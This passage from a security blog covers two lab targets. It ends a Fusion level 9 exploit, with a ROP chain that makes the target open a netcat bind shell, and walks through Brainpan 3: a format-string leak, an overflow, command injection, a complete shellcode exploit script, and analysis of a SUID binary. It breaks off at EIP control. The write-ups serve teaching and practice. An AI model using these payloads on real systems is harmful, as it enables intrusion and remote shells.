0x80633d4:	0x00000000	0x00000000	0x00000000	0x00000000
...

some useful gadgets:
0x08048c8e: add dword ptr [ebx + 0x5d5b04c4], eax; ret; 
0x0805ce50: add dword ptr [edi], ecx; test byte ptr [ecx], dl; ret; 
0x0805d141: add dword ptr [edi], ecx; test byte ptr [edi], ch; ret; 
0x0805d165: add dword ptr [edi], ecx; test dl, ah; ret;

0x08061f90: pop eax; add byte ptr cs:[ebp + eax*8 + 0xc], bl; add al, 4; ret; 
0x08060e98: pop ebp; cld; leave; ret; 
0x08048c93: pop ebp; ret; 
0x08048c92: pop ebx; pop ebp; ret; 
0x08048f83: pop ebx; pop esi; pop edi; pop ebp; ret; 
0x0804880c: pop ebx; ret; 
0x08048f85: pop edi; pop ebp; ret; 
0x08048f84: pop esi; pop edi; pop ebp; ret; 
0x0805d2e0: pop esp; ret 0xfffe; 
0x080612d8: pop esp; rol dword ptr [eax + ecx], 0; ret 0x804; 

0x0805d1d8: xchg ah, dh; ret; 
0x0805ff43: xchg dword ptr [ecx - 0x1600016a], ecx; ret 0xfee6; 
0x0805d387: xchg eax, ebx; mov edx, 0xf000000; test dword ptr [edi], edi; ret 0xfffe; 
0x0805d2d4: xchg eax, ebx; mov edx, 0xf000000; test esi, edx; ret 0xfffe; 
0x080581f9: xchg eax, ecx; ret; 
0x080614f0: xchg eax, esp; ret 0x805; 
0x080581d0: xchg eax, esp; ret 0xffff; 
0x0805d1e3: xchg ecx, ebp; ret; 
0x08049420: xchg edx, esi; ret;

sum value/write block:
	0x08048c92: pop ebx; pop ebp; ret;
	0xADDR - 0x5d5b04c4
	0xDATA
	0x0805d1e3: xchg ecx, ebp; ret;
	0x080581f9: xchg eax, ecx; ret;	
	0x08048c8e: add dword ptr [ebx + 0x5d5b04c4], eax; ret;

"""



def p(v):
	return struct.pack('<L', v)

# create a rop wich writes string(s) to address(addr)
def rop_cpystr(addr, s):
	rop = ''
	for i in range(len(s) / 4):
		rop += p(0x08048c92) # pop ebx; pop ebp; ret;
		rop += p(((addr+(i*4)) - 0x5d5b04c4) & 0xFFFFFFFF) # address
		rop += s[(i*4) : (i*4) + 4] # data
		rop += p(0x0805d1e3) # xchg ecx, ebp; ret;
		rop += p(0x080581f9) # xchg eax, ecx; ret;
		rop += p(0x08048c8e) # add dword ptr [ebx + 0x5d5b04c4], eax; ret;
	return rop

# create a rop that adds a value(v) to the value at address(addr)
def rop_addvalue(addr, v):
	rop = ''
	rop += p(0x08048c92) # pop ebx; pop ebp; ret;
	rop += p((addr - 0x5d5b04c4) & 0xFFFFFFFF) # address
	rop += p(v)
	rop += p(0x0805d1e3) # xchg ecx, ebp; ret;
	rop += p(0x080581f9) # xchg eax, ecx; ret;
	rop += p(0x08048c8e) # add dword ptr [ebx + 0x5d5b04c4], eax; ret;
	return rop

# main exploit code
def main(host, port):
	__popr 			= 0x08048f86
	__bss 			= 0x08063384
	__setrlimit_got = 0x080632A8
	__jmp_setrlimit = 0x080488E0
	__write_got 	= 0x080632D0
	__jmp_write 	= 0x08048980
	# 2084 bytes, retn @ 28+
	# 0x8060e1b:	lea    esp,[ebp-0xc]
	# 0x8060e1e:	pop    ebx
	# 0x8060e1f:	pop    esi
	# 0x8060e20:	pop    edi
	# 0x8060e21:	pop    ebp
	rop  = 12 * 'A' # [ebp-0Ch]
	rop += p(0) # ebx
	rop += p(0) # esi
	rop += p(0) # edi
	rop += p(0) # ebp
	# increment setrlimit + 0xC1DD0 -> libc.system
	rop += rop_addvalue(__setrlimit_got, 0xC1DD0)
	# increment write + 0x39A54 -> vdso.__kernel_vsyscall
	rop += rop_addvalue(__write_got, 0x39A54)
	# write the netcat command string to .bss
	rop += rop_cpystr(__bss, '/bin/nc.traditional -lvp 6666 -e /bin/sh')
	# system('netcat command')
	rop += p(__jmp_setrlimit)
	rop += p(__popr)
	rop += p(__bss)
	rop += p(0x43434343)
	# padd till 2080 bytes
	rop  = rop.ljust(2080, 'A')
	# jmp to vdso.__kernel_vsyscall
	rop += p(__jmp_write)

	# construct the payload packet
	payload =  64 * 'A'
	payload += '-OO-' # <= canarie 1
	payload += rop
	payload += '-OO-' # <= canarie 2, must match canarie 1 to bypass the stack smashing detection!


	client = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
	try:
		client.sendto('\x1f\x0e\xff\xff' +  payload, (host, int(port)))
	except KeyboardInterrupt:
		client.close()
		return

if __name__ == '__main__':
	main(sys.argv[1], sys.argv[2])

And running it..

h4x@kali:~/training/fusion/lvl9$ ./lvl9_exploit.py 192.168.178.15 20009;sleep 1;nc 192.168.178.15 6666
id
uid=20009 gid=20009 groups=20009

Game over
This was another fun exploit challenge including some unpacking. Also it shows that sometimes you don’t need to dig deep into the code, but with some basic understanding of it and some simple fuzzing attempts you could get the desired results.

Brainpan 3 – The write up

  __ )    _ \      \    _ _|   \  |   _ \    \      \  |     _ _| _ _| _ _| 
  __ \   |   |    _ \     |     \ |  |   |  _ \      \ |       |    |    |  
  |   |  __ <    ___ \    |   |\  |  ___/  ___ \   |\  |       |    |    |  
 ____/  _| \_\ _/    _\ ___| _| \_| _|   _/    _\ _| \_|     ___| ___| ___|

                                                            by superkojiman
                                                            techorganic.com

Intro

Recently Superkojiman released version 3 of the Brainpan boot2root series, this VM is mainly focused on binary exploitation.

Brainpan console

Once the VM is fully booted we do a port scan using nmap. This shows us 1 open port 1337 and a closed(firewalled) port 8080, Once we connect to the port 1337 we are presented with a login screen for the brainpan console.

brainpan3login

According to the text on the screen we have to deal with a 4 digit code and after 3 failing attempts a new code would be created, so it’s very unlikely that we could bruteforce it. The first thing that came to my mind is that it could be a format string vulnerability and a quick test showed that this indeed was the case.

ACCESS CODE: %p%p%p
ERROR #1: INVALID ACCESS CODE: 0xbfa0b01c(nil)0x11f9

When using a format string pattern for decimals we could spot the login code 4601 in the output located on position 3

ACCESS CODE: %d-%d-%d-%d-%d-%d-%d 
ERROR #1: INVALID ACCESS CODE: -1079988196-0-4601--1079988196-0-10-495804160

We can shorten our format string pattern to %3$d to directly retrieve the current login code

ACCESS CODE: %3$d
ERROR #1: INVALID ACCESS CODE: 4601

We login to the brainpan console using the code and are presented with a menu showing us a few options and which permissions are set such as AUTH, REPORT and MENU

--------------------------------------------------------------
SESSION: ID-5102
  AUTH   [Y]    REPORT [N]    MENU   [Y]  
--------------------------------------------------------------


1  - CREATE REPORT
2  - VIEW CODE REPOSITORY
3  - UPDATE SESSION NAME
4  - SHELL
5  - LOG OFF

ENTER COMMAND: 

The most interesting options are 1,2 and 3.. 4 is obviously a troll. Using option 1 the console tells us that the report feature is disabled for this build, option 2 tells us the repository is now available and option 3 allows us to change our session name. It seems this option has a format string and buffer overflow vulnerability.

The repository option reminded me of the closed port at 8080, a quick re-scan shows that the port is now open and when we browse to it we are presented with a simple web page. I started a directory bruteforce which revealed the folder called “repo” which had 5 files in it.

Directory listing for /repo/

    bofh
    how-to-pwn-brainpan.jpg
    README.txt
    report
    shell 

The file called report caught my attention since we also have this report option in the brainpan console. I downloaded the file and started to analyze it.

Analyzing report

When running the executable on our local machine it show us its options

h4x@kali:~/bp3$ ./report
./report  [0|1]

When supplying the desired arguments(report data and 1 or 0) we get a big charlie brown banner, I don’t know the guy but I bet hes a nice guy..

h4x@kali:~/bp3$ ./report aa 0
               ____
           .-'&    '-.
          / __    __  \
         :-(__)--(__)--;
        (      (_       )
         :             ;
          \    __     /
           `-._____.-'
             /`"""`\
            /    ,  \
           /|/\/\/\ _\
          (_|/\/\/\\__)
            |_______|
           __)_ |_ (__
          (_____|_____)

       YOU'RE IN THE MATRIX
           CHARLIE BROWN

Time to reverse engineer the executable to see what’s going on..

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int result; // eax@2
  int bdoenc; // ST14_4@3
  int v5; // ecx@7
  char buf[100]; // [sp+18h] [bp-68h]@3
  int canarie; // [sp+7Ch] [bp-4h]@1

  canarie = *MK_FP(__GS__, 20);
  if ( argc > 2 )
  {
    cb();
    /*
    - Copy the report data from argunent 1(report)
      to 'buf', this could lead to a buffer overflow.
    - convert argument 2(0 or 1) to a integer and 
      assign to 'bdoenc'
    */
    strcpy(buf, argv[1]);
    bdoenc = atoi(argv[2]);
    /*
    Make REPORT(.bss section) data executable(thx superkojiman) using
    mprotect.
    */
    P = REPORT;
    N = (-sysconf(30) & REPORT);
    mprotect(N, 500u, 7);
    /*
    Choose execution path based on 'bdoenc'
    */
    if ( bdoenc )
    {
      sanitize(buf);
      encrypt(buf);
      record_data(buf);
    }
    else
    {
      record_data(buf);
      record_id(buf);
    }
    printf("[+] RECORDED [%s]\n", buf);
    result = 0;
  }
  else
  {
    printf("%s <report> [0|1]\n", *argv);
    result = 0;
  }
  v5 = *MK_FP(__GS__, 20) ^ canarie;
  return result;
}

int __cdecl sanitize(char *buf)
{
  size_t i; // [sp+18h] [bp-10h]@1
  int v3; // [sp+1Ch] [bp-Ch]@1

  v3 = 0;
  for ( i = 0; i < strlen(buf); ++i )
  {
    if ( !isalpha(buf[i]) )
    {
      buf[i] = '?';
      ++v3;
    }
  }
  return v3;
}


size_t __cdecl encrypt(char *buf)
{
  unsigned int dwseed; // eax@1
  size_t result; // eax@3
  size_t i; // [sp+18h] [bp-10h]@1
  int key; // [sp+1Ch] [bp-Ch]@1

  dwseed = time(0);
  srand(dwseed);
  key = rand() % 9000 + 1000;
  for ( i = 0; ; ++i )
  {
    result = strlen(buf);
    if ( i >= result )
      break;
    buf[i] ^= key;
  }
  return result;
}

void __cdecl record_data(const char *buf)
{
  char *p; // eax@1
  int v2; // ebx@1
  time_t timer; // [sp+2Ch] [bp-5Ch]@1
  FILE *fsOut; // [sp+30h] [bp-58h]@1
  struct tm *timestamp; // [sp+34h] [bp-54h]@1
  char tsstring[26]; // [sp+3Ah] [bp-4Eh]@1
  char reportFilename[40]; // [sp+54h] [bp-34h]@1
  int canary; // [sp+7Ch] [bp-Ch]@1

  canary = *MK_FP(__GS__, 20);
  fsOut = 0;
  time(&timer);
  timestamp = localtime(&timer);
  strftime(tsstring, 26u, "%Y%m%d%H%M%S", timestamp);
  memset(reportFilename, 0, 40u);
  strcpy(reportFilename, "/home/anansi/REPORTS/");
  strcat(reportFilename, tsstring);
  p = &reportFilename[strlen(reportFilename)];
  *p = 'per.';
  p[4] = 0;
  printf("[+] WRITING REPORT TO %s\n", reportFilename);
  fsOut = fopen(reportFilename, "w");
  fputs(buf, fsOut);
  fclose(fsOut);
  /*
  Copy 100 bytes of the buf to REPORT
  */
  strncpy(REPORT, buf, 100u);
  feedback();
  v2 = *MK_FP(__GS__, 20) ^ canary;
}

int __cdecl record_id(char *buf)
{
  char dest[3]; // [sp+19h] [bp-Fh]@1
  void (*pfeedback)(void); // [sp+1Ch] [bp-Ch]@1

  pfeedback = feedback;
  /*
  strcpy overflows the dest buffer allowing
  to control the pfeedback pointer
  */
  strcpy(dest, buf);
  pfeedback();
  return atoi(dest);
}

void feedback(void)
{
  puts("[+] DATA SUCCESSFULLY ENCRYPTED");
  puts("[+] DATA SUCCESSFULLY RECORDED");
}

So the code starts with a check if the local hostname is brainpain3, assuming it is(I nopped the call cb), it copies the report data to buf and makes the REPORT data executable using mprotect. After that it checks the 2nd argument.

1: data in buf would be filtered using the sanitize function and then encrypted and finally stored using the record_data function which stores the data into a file and copies the first 100 bytes to REPORT.
0: data would directly be stored without any filtering or encryption and a additional function record_id is called, Now this is a interesting function..

When looking at the record_id function we can see it assigns a function pointer to pfeedback and then copies the content of buf into dest, now since dest only can hold up to 3 bytes we can overflow it and control the pfeedback pointer which is executed next after the strcpy resulting in code execution.

Testing this using a debugger gives us the expected result
poc1

 

So let’s summarize:
Since our first 100 bytes is stored at a executable location(REPORT) and we can control a function pointer(pfeedback) we could store some shellcode in REPORT and then make the pfeedback pointer point to our shellcode.

The address of REPORT can be looked up in IDA:

.bss:0804B0A0                 public REPORT
.bss:0804B0A0 ; char REPORT[500]
.bss:0804B0A0 REPORT          db 1F4h dup(?)          ; DATA XREF: record_data+131
.bss:0804B0A0                                         ; main+7D

The exploit buffer could look something like:
AAA<REPORT_address+7><shellcode>

Note that we have to add 7 to the REPORT address to get past the 3 A’s and the 4 bytes of the function pointer.

 

POC

#!/usr/bin/env python
import struct
import sys

# .bss:0804B0A0                 public REPORT
# .bss:0804B0A0 ; char REPORT[500]
# .bss:0804B0A0 REPORT          db 1F4h dup(?)          ; DATA XREF: record_data+131
# .bss:0804B0A0  

# linux/x86 Shellcode execve ("/bin/sh") - 21 Bytes
# http://shell-storm.org/shellcode/files/shellcode-752.php
shellcode = "\x31\xc9\xf7\xe1\xb0\x0b\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80"
__REPORT = 0x0804B0A0

def p(v):
	return struct.pack('<L', v)

payload  = 'AAA'
payload += p(__REPORT + 7)
payload += shellcode

print payload + ' 0'

And executing the poc spawns a shell as expected

h4x@kali:~/bp3$ ./report $(./report_local.py)
[+] WRITING REPORT TO /home/anansi/REPORTS/20150912020038.rep
[+] DATA SUCCESSFULLY ENCRYPTED
[+] DATA SUCCESSFULLY RECORDED
$ id
uid=1000(h4x) gid=1001(h4x) groups=1001(h4x),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),105(scanner),108(bluetooth),112(netdev),125(powerdev)
$

brainpan console – report feature

Now if you remember we currently cannot create reports from within the brainpan console since report feature is disabled so we must enable it, now this is where the buffer overflow in the “update session name” option(3) comes into play.

By overflowing the session name buffer we can control the values in:

  AUTH   [Y]    REPORT [N]    MENU   [Y] 

And by setting REPORT [N] to Y we would enable the report feature. A little fuzzer script helps us to find the correct length till we overwrite the N

#!/usr/bin/env python
from select import select
from socket import *
from time import sleep
import telnetlib
import sys
import struct
import re

class NetcatClient:
	def __init__(self, host, port):
		"""
		Netcat Class init.
		"""
		self.host = host
		self.port = int(port)
		self.delay = 0.05
		self.linemode = False
		self.sock = socket(AF_INET, SOCK_STREAM)

	# private functions
	def __check_state(self, timeout=0):
		"""
		Check the socket it's read, write and exception state 
		using select
		"""
		# we need abit of a delay to keep things
		# running smooth
		sleep(self.delay)
		return select([self.sock], [self.sock], [self.sock], timeout)

	# core functions
	def connect(self):
		"""
		Connect to host
		"""
		try:
			self.sock.connect((self.host, self.port))
			return True
		except error as e:
			print 'NetcatClassError:', e
			return False

	def close(self):
		"""
		Close the connection
		"""
		try:
			self.sock.close()
		except error as e:
			print 'NetcatClassError:', e

	def recv(self, size=4096):
		"""
		Recieve all data
		"""
		try:
			data = ''
			readable, writable, exceptional = self.__check_state()
			if readable:
				# while socket readable...
				while readable:
					# collect all data
					data += self.sock.recv(size)
					# re-check socket's state
					readable, writable, exceptional = self.__check_state()
			return data
		except error as e:
			print 'NetcatClassError:', e

	def send(self, data):
		"""
		Send data
		"""
		if self.linemode:
			data += '\n'
		try:
			readable, writable, exceptional = self.__check_state()
			if writable:
				self.sock.send(data)
		except error as e:
			print 'NetcatClassError:', e

	def sendrecv(self, data):
		"""
		Send and recieve data
		"""
		self.send( data )
		return self.recv()

	def interact(self):
		"""
		Interactive telnet client
		"""
		try:
			t = telnetlib.Telnet()
			t.sock = self.sock
			t.interact()
			t.close()
		except KeyboardInterrupt:
			self.close()

if __name__ == '__main__':
	# fuzzing code
	s = NetcatClient('192.168.178.22', '1337')
	s.linemode = True
	s.connect()
	# banner
	s.recv()
	# send format string pattern and grab the login code
	r = s.sendrecv('%3$d')
	# parse the login code from the reponse
	l = re.findall(r"INVALID ACCESS CODE: (.*?)\n", r)
	print 'login code -> ', l
	# send login code and log in
	s.sendrecv('%s'%(l[0]))

	# send change sessionname commands
	# with length of 0 ... 255
	for i in range(256):
		s.sendrecv('3')
		resp = s.sendrecv(i * 'Y')
		l = re.findall(r"REPORT \[(.*?)\]", resp)
		print i,'->',l
		# if value changed to Y break
		if 'Y' in l[0]:
			print 'payload -> %d * Y' % (i)
			break

	s.close()

Running the fuzzer results in:

h4x@kali:~/bp3$ ./test.py 
login code ->  ['3537']
0 -> ['N']
...
250 -> ['N']
251 -> ['\x00']
252 -> ['\x00']
253 -> ['Y']
payload -> 253 * Y

So by setting the session name to 253 Y chars we change the REPORT feature status from N to Y effectively enabling the report feature.

ENTER COMMAND: 3
SELECTED: 3
ENTER NEW SESSION NAME: YYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYY
--------------------------------------------------------------
SESSION: YYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYY
  AUTH   [Y]    REPORT [Y]    MENU   [Y]  
--------------------------------------------------------------


1  - CREATE REPORT
2  - VIEW CODE REPOSITORY
3  - UPDATE SESSION NAME
4  - SHELL
5  - LOG OFF

ENTER COMMAND: 

When testing the option we can now see its indeed enabled…

ENTER COMMAND: 1
SELECTED: 1

ENTER REPORT, END WITH NEW LINE:

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

REPORT [AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA]
SENDING TO REPORT MODULE

[+] WRITING REPORT TO /home/anansi/REPORTS/20150911214757.rep
[+] DATA SUCCESSFULLY ENCRYPTED
[+] DATA SUCCESSFULLY RECORDED
[+] RECORDED [iiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiii]

Almost there…

So now we can create reports from within the brainpan console and trigger the vulnerable code in the report executable, or cant we?
Well, it seems that the brainpan console executes the report executable with the 1 option and in order to trigger the vulnerable code in record_id it would need to be executed with the 0 option. I got a bit stuck here and reached out for barrebas for a hint and he kinda told me to play some more with the report buffer.

When we insert a double quote in our report data a interesting error appears

ENTER COMMAND: 1
SELECTED: 1

ENTER REPORT, END WITH NEW LINE:

aaa"

REPORT [aaa"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA]
SENDING TO REPORT MODULE

sh: 1: Syntax error: Unterminated quoted string

It seems that our double quote caused a error when the report commandline got executed, to be more precise a part of a string left unquoted but more interesting is that it seems we can do command injection using our report data.

ENTER COMMAND: 1
SELECTED: 1

ENTER REPORT, END WITH NEW LINE:

";id;"

REPORT [";id;"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA]
SENDING TO REPORT MODULE

/var/www/repo/report  [0|1]
uid=1000(anansi) gid=1003(webdev) groups=1000(anansi)
sh: 1: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA: not found

And we can also insert a 0 into the commandline to trigger the vulnerable code in record_id

ENTER COMMAND: 1
SELECTED: 1

ENTER REPORT, END WITH NEW LINE:

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" 0 #

REPORT [AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" 0 #" "0"#]
SENDING TO REPORT MODULE

Segmentation fault (core dumped)

Exploit

So in order to exploit this we need to:
– Grab the login code and log in
– Enable the REPORT feature
– Send our payload report including the 0 option
– Get a shell?

The following code automates this whole process:

#!/usr/bin/env python
from select import select
from socket import *
from time import sleep
import telnetlib, sys, re, struct


class NetcatClass:
	def __init__(self, host, port):
		"""
		Netcat Class init.
		"""
		self.host = host
		self.port = int(port)
		self.delay = 0.05
		self.linemode = False
		self.sock = socket(AF_INET, SOCK_STREAM)

	# private functions
	def __check_state(self, timeout=0):
		"""
		Check the socket it's read, write and exception state 
		using select
		"""
		# we need abit of a delay to keep things
		# running smooth
		sleep(self.delay)
		return select([self.sock], [self.sock], [self.sock], timeout)

	# core functions
	def connect(self):
		"""
		Connect to host
		"""
		try:
			self.sock.connect((self.host, self.port))
			return True
		except error as e:
			print 'NetcatClassError:', e
			return False

	def close(self):
		"""
		Close the connection
		"""
		try:
			self.sock.close()
		except error as e:
			print 'NetcatClassError:', e

	def recv(self, size=4096):
		"""
		Recieve all data
		"""
		try:
			data = ''
			readable, writable, exceptional = self.__check_state()
			if readable:
				# while socket readable...
				while readable:
					# collect all data
					data += self.sock.recv(size)
					# re-check socket's state
					readable, writable, exceptional = self.__check_state()
			return data
		except error as e:
			print 'NetcatClassError:', e

	def send(self, data):
		"""
		Send data
		"""
		try:
			readable, writable, exceptional = self.__check_state()
			if writable:
				if self.linemode:
					data += '\n'
				self.sock.sendall(data)
		except error as e:
			print 'NetcatClassError:', e

	def sendrecv(self, data):
		"""
		Send and recieve data
		"""
		self.send(data)
		return self.recv()

	def interact(self):
		"""
		Interactive telnet client
		"""
		try:
			t = telnetlib.Telnet()
			t.sock = self.sock
			t.interact()
			t.close()
		except KeyboardInterrupt:
			self.close()


def p(v):
	return struct.pack('<L', v)

def exploit(host, port):
	# connect
	s = NetcatClass(host, port)
	# make all sends being treathed as line's eq. add a \n
	s.linemode = True
	s.connect()
	# recieve banner
	s.recv()
	# send formatstring pattern and read response containing access code	
	print '[+] Leak access code'
	acccode = re.findall(r"INVALID ACCESS CODE: (.*?)\n", s.sendrecv('%3$d'))
	if not acccode:
		print '[!] Failed to get access code!'
		s.close()
		exit()	
	print '[+] Access code leaked: {}'.format(acccode[0])
	# send access code
	s.sendrecv(acccode[0])
	# enable report feature
	print '[+] Enabling report feature'
	s.sendrecv('3')
	s.sendrecv(253 * 'Y')
	# create payload
	# linux/x86 Shellcode execve ("/bin/sh") - 21 Bytes
	# http://shell-storm.org/shellcode/files/shellcode-752.php
	shellcode = "\x31\xc9\xf7\xe1\xb0\x0b\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80"
	# .bss:0804B0A0 ; char REPORT[500]
	# strncpy(REPORT, buf, 100u);
	__bss_REPORT = 0x0804B0A0
	# construct payload report	
	payload  = "AAA"
	payload += p(__bss_REPORT + 7)
	payload += shellcode
	# inject double qoute and a 0 to trigger
	# the vulnerable code in record_id
	payload += '" 0 #'
	# send payload report
	print '[+] Sending payload report'
	s.sendrecv('1')
	s.sendrecv( payload )
	# interactive shell?
	print '[+] Dropping into shell'
	s.send('python -c "import pty;pty.spawn(\'/bin/bash\')"')
	s.interact()

if __name__ == '__main__':
	exploit('192.168.178.22', '1337')

And finally executing the exploit gives as a shell for the anansi user.

h4x@kali:~/bp3$ ./report.py 
[+] Leak access code
[+] Access code leaked: 5869
[+] Enabling report feature
[+] Sending payload report
[+] Dropping into shell
anansi@brainpan3:/$ 

reynard

While looking around on the box I noticed the reynard folder is readable and within the “/private/” folder it has a SUID executable and a encrypted file

anansi@brainpan3:/$ ls -lah /home/reynard/private
ls -lah /home/reynard/private
total 20K
drwxrwx--- 2 reynard webdev  4.0K Jun 10 23:12 .
drwxr-xr-x 3 reynard reynard 4.0K Jun 10 22:30 ..
-rwsr-xr-x 1 reynard reynard 5.5K May 19 18:28 cryptor
-r-------- 1 reynard reynard   77 May 21 10:42 sekret.txt.enc

anansi@brainpan3:/home/reynard/private$ ./cryptor
./cryptor
Usage: ./cryptor file key

I copied both files to my local machine and started to analyze the cryptor executable

signed int __cdecl main(signed int argc, char **argv)
{
  signed int result; // eax@2

  if ( argc > 2 )
  {
    cryptFile(argv[1], argv[2]);
    result = 0;
  }
  else
  {
    printf("Usage: %s file key\n", *argv);
    result = 1;
  }
  return result;
}

int __cdecl cryptFile(char *pFilename, char *pKey)
{
  char *p; // eax@4
  int dkey; // eax@6
  char pOutFilename[100]; // [sp+Ch] [bp-78h]@1
  int DataByte; // [sp+70h] [bp-14h]@6 MAPDST
  FILE *fsin; // [sp+74h] [bp-10h]@5
  FILE *fsout; // [sp+78h] [bp-Ch]@4

  /*
  Zero buffers key and pOutFilename, each 100 bytes in size
  .bss:0804A080 ; char key[100]
  .bss:0804A080 key             db 64h dup(?)           ; DATA XREF: cryptFile+18
  */
  memset(key, 0, 100u);
  memset(pOutFilename, 0, 100u);
  /*
  very strange check...
  buffer overflow in pOutFilename when the
  length of pFilename > 100 and <= 116 bytes
  */
  if ( strlen(pFilename) <= 116 )
    strcpy(pOutFilename, pFilename);
  else
    strncpy(pOutFilename, pFilename, 90u);
  /*
  add filename extension(.enc) and truncate
  */
  p = &pOutFilename[strlen(pOutFilename)];
  *p = 'cne.';
  p[4] = 0;
  printf("[+] saving to %s\n", pOutFilename);
  /*
  copy pKey to global key buffer
  */
  strcpy(key, pKey);
  /*
  Encrypt data using the key and write to file
  */
  fsout = fopen(pFilename, "r");
  if ( fsout )
  {
    for ( fsin = fopen(pOutFilename, "w"); ; fputc(dkey ^ DataByte, fsin) )
    {
      DataByte = fgetc(fsout);
      if ( DataByte == -1 )
        break;
      DataByte = DataByte;
      dkey = atoi(pKey);
    }
    fclose(fsin);
    fclose(fsout);
  }
  return 0;
}

Starting from the main function we can see it passes the 2 arguments filename and key to the cryptFile function. Within this function it does a weird length check on the given filename, if the length is less or 116 chars it copies the full filename into the 100 bytes pOutFilename buffer resulting in a 16 bytes overflow. Now this is not enough to overflow the return address of this function.

stack layout
-00000078 pOutFile        db 100 dup(?)
-00000014 DataByte        dd ?
-00000010 fsin            dd ?                    ; offset
-0000000C fsout           dd ?                    ; offset
-00000008                 db ? ; undefined
-00000007                 db ? ; undefined
-00000006                 db ? ; undefined
-00000005                 db ? ; undefined
-00000004                 db ? ; undefined
-00000003                 db ? ; undefined
-00000002                 db ? ; undefined
-00000001                 db ? ; undefined
+00000000  s              db 4 dup(?)
+00000004  r              db 4 dup(?)
+00000008 pFile           dd ?                    ; offset
+0000000C pKey            dd ?                    ; offset

But the interesting thing happens when we return from cryptFile and leave the main function. Since the main function exits with a leave instruction..

.text:08048786                 call    cryptFile
.text:0804878B                 mov     eax, 0
.text:08048790
.text:08048790 locret_8048790:                         ; CODE XREF: main+26
.text:08048790                 leave
.text:08048791                 retn

A leave instruction does the same as:

mov esp, ebp
pop ebp

Which effectively restores the stack pointer, now when we place a breakpoint on the leave instruction and start the executable with a 116 chars filename we can see what happens

[----------------------------------registers-----------------------------------]
EAX: 0x0 
EBX: 0x41414141 ('AAAA')
ECX: 0xb7fba3c0 --> 0x0 
EDX: 0xfffff000 
ESI: 0x0 
EDI: 0x636e652e ('.enc')
EBP: 0xbffff400 ('A' )
ESP: 0xbffff480 --> 0xbffff69c ('A' )
EIP: 0x8048790 (leave)
EFLAGS: 0x292 (carry parity ADJUST zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x8048783:	mov    DWORD PTR [esp],eax
   0x8048786:	call   0x80485ed
   0x804878b:	mov    eax,0x0
=> 0x8048790:	leave  
   0x8048791:	ret    
   0x8048792:	xchg   ax,ax
   0x8048794:	xchg   ax,ax
   0x8048796:	xchg   ax,ax
[------------------------------------stack-------------------------------------]
0000| 0xbffff480 --> 0xbffff69c ('A' )
0004| 0xbffff484 --> 0xbffff711 --> 0x53530041 ('A')
0008| 0xbffff488 --> 0xbffff508 --> 0x0 
0012| 0xbffff48c --> 0xb7e6fe46 (:	mov    DWORD PTR [esp],eax)
0016| 0xbffff490 --> 0x3 
0020| 0xbffff494 --> 0xbffff534 --> 0xbffff686 ("/home/h4x/bp3/cryptor")
0024| 0xbffff498 --> 0xbffff544 --> 0xbffff713 ("SSH_AGENT_PID=4019")
0028| 0xbffff49c --> 0xb7fdd860 --> 0xb7e59000 --> 0x464c457f 
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
0x08048790 in ?? ()

EBP(0xbffff400) points to our filename buffer and when executing the leave instruction that becomes ESP

[----------------------------------registers-----------------------------------]
EAX: 0x0 
EBX: 0x41414141 ('AAAA')
ECX: 0xb7fba3c0 --> 0x0 
EDX: 0xfffff000 
ESI: 0x0 
EDI: 0x636e652e ('.enc')
EBP: 0x41414141 ('AAAA')
ESP: 0xbffff404 ('A' )
EIP: 0x8048791 (ret)
EFLAGS: 0x292 (carry parity ADJUST zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x8048786:	call   0x80485ed
   0x804878b:	mov    eax,0x0
   0x8048790:	leave  
=> 0x8048791:	ret    
   0x8048792:	xchg   ax,ax
   0x8048794:	xchg   ax,ax
   0x8048796:	xchg   ax,ax
   0x8048798:	xchg   ax,ax
[------------------------------------stack-------------------------------------]
0000| 0xbffff404 ('A' )
0004| 0xbffff408 ('A' )
0008| 0xbffff40c ('A' )
0012| 0xbffff410 ('A' )
0016| 0xbffff414 ('A' )
0020| 0xbffff418 ('A' )
0024| 0xbffff41c ('A' )
0028| 0xbffff420 ('A' )
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
0x08048791 in ?? ()

And finally

[----------------------------------registers-----------------------------------]
EAX: 0x0 
EBX: 0x41414141 ('AAAA')
ECX: 0xb7fba3c0 --> 0x0 
EDX: 0xfffff000 
ESI: 0x0 
EDI: 0x636e652e ('.enc')
EBP: 0x41414141 ('AAAA')
ESP: 0xbffff408 ('A' )
EIP: 0x41414141 ('AAAA')
EFLAGS: 0x292 (carry parity ADJUST zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0x41414141
